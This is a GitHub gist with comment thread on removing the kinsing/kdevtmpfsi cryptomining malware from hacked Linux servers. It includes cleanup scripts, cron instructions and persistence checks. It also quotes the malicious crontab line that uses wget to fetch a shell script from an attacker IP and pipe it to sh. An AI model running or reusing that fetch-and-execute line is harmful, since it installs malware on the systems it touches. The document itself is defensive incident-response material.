Skip to content

Instantly share code, notes, and snippets.

@yoyosan
Last active October 18, 2023 00:16
Show Gist options
  • Star 14 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save yoyosan/5f88c1a023f006f952d7378bdc7bcf01 to your computer and use it in GitHub Desktop.
Save yoyosan/5f88c1a023f006f952d7378bdc7bcf01 to your computer and use it in GitHub Desktop.
How to clean kdetmpdevfsi or .ICEd-unix suspicious files/folders or processes

Problem

I've recently been hacked on my VPS(using Centos 7.6 and CWP up to date) and the following files/folders were created:

  • /tmp/.ICEd-unix
  • /var/tmp/.ICEd-unix
  • /tmp/kdevtmpfsi
  • /var/tmp/kinsing

The following processes were running and using 100% CPU and Memory:

  • kdevtmpfpsi
  • kinsing

Also, the user's crontab had this following line:

* * * * * wget -q -O - http://195.3.146.118/p.sh | sh > /dev/null 2>&1

As of yet, I'm still getting the /tmp/.ICEd-unix and /var/tmp/.ICEd-unix folders created every hour and I can't figure out what it is.

Solutions

  • create a cron on root user that deletes and kills the processes:
#/bin/bash
rm -f /var/tmp/kinsing
rm -f /var/tmp/.ICEd-unix
killall -9 kinsing
rm -f /tmp/kdevtmpfsi
rm -f /tmp/.ICEd-unix
killall -9 kdevtmpfsi
  • remove the crontab line from the affected user
  • remove all unnecessary opened ports in firewall
  • disable shell access to the user(from CWP)
  • update all services/projects to the latest possible versions available in your package manager

How did they get in

  • Found these lines in suexec.log: https://imgur.com/yIliqjJ, therefore an exploit from phpunit. My libraries for the laravel project weren't up to date.

Resources

@kishoredr
Copy link

Hi folks, I'm also facing the same issue in Ubuntu 18.04.5 LTS after deleting the malware files /tmp/kinsing & /tmp/kdevtmpfsi its generating automatically.

Fixing this issue created the bash script & set the cronjobs to run.

My solution is following steps:

  1. Kill the program is running first:

Run htop and then push F9 to kill program. We have to kill kdevtmpfsi and kinsing as well.

  1. Delete malware file which is will be run and using the entire CPU
#!/bin/bash

# kinsing deleteing here
PID=$(pidof kinsing)
echo "$PID"
kill -9 $PID


# /tmp/kinsing deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kinsing)
echo "$PID"
kill -9 $PID


# kdevtmpfsi deleteing here
PID=$(pidof kdevtmpfsi)
echo "$PID"
kill -9 $PID


# /tmp/kdevtmpfsi deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kdevtmpfsi)
echo "$PID"
kill -9 $PID

# Delete malware files
find / -iname kdevtmpfsi -exec rm -fv {} \;

find / -iname kinsing -exec rm -fv {} \;

Save this one file (some-script.sh) configure the cronjobs for this

Step 1: Open crontab (the cron editor) with the following command.

$ crontab -e

Step 2: If this is your first time accessing crontab, your system will likely ask you which editor you'd prefer to use. In this example, we'll go with nano (type 1 and then Enter) since it's the easiest to understand.

$ crontab -e
no crontab for linuxconfig - using an empty one

Select an editor.  To change later, run 'select-editor'.
  1. /bin/nano        <---- easiest
  2. /usr/bin/vim.basic
  3. /usr/bin/vim.tiny
  4. /bin/ed

Choose 1-4 [1]:

Step 3: Make a new line at the bottom of this file and insert the following code. Of course, replace our example script with the command or script you wish to execute, but keep the */5 * * * * part as that is what tells cron to execute our job every 5 minutes.

*/5 * * * * /path/to/some-script.sh

Step 4: Exit this file and save changes. To do that in nano, you'd need to press Ctrl + X, Y, and then Enter.

That's all there is to it. Scheduling jobs in cron will run Every 5 Mins.

Hope it helps you!

@yoyosan
Copy link
Author

yoyosan commented Feb 18, 2021

Thanks for sharing.

@fernandohs1500
Copy link

Thanks, it helped me

@lemogra
Copy link

lemogra commented Mar 9, 2022

if the bash script aint worked as it expected because of **pidof ** command, you could try pgrep.

Basically your bash script should be like below

`#!/bin/bash

kinsing deleteing here

PID=$(pgrep kinsing)
echo "$PID"
kill -9 $PID

kdevtmpfsi deleteing here

PID=$(pgrep kdevtmpfsi)
echo "$PID"
kill -9 $PID

Delete malware files

find / -iname kdevtmpfsi -exec rm -fv {} ;
find / -iname kinsing -exec rm -fv {} ;
`

@BaderSZ
Copy link

BaderSZ commented Mar 16, 2022

One of the many things this malware does is try to be persisent. You might want to confirm that:

  • Apparmor/SELinux are running and not modified
  • There is no aliyun.service systemd service running
  • ulimit was not modified
  • file attributes for /tmp/, /var/tmp/, /var/spool/cron/, and /etc/crontab/ were not modified, and
  • /root/.ssh/ and /root/.ssh/authorized_keys were not readable from the user that was running the webserver/kinsing
  • ufw was not disabled
  • kernel.nmi_watchdog is not set to 0

There are a versions of kinsing that work differently. so you're better off searching the checksum of the binary online and confirming.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment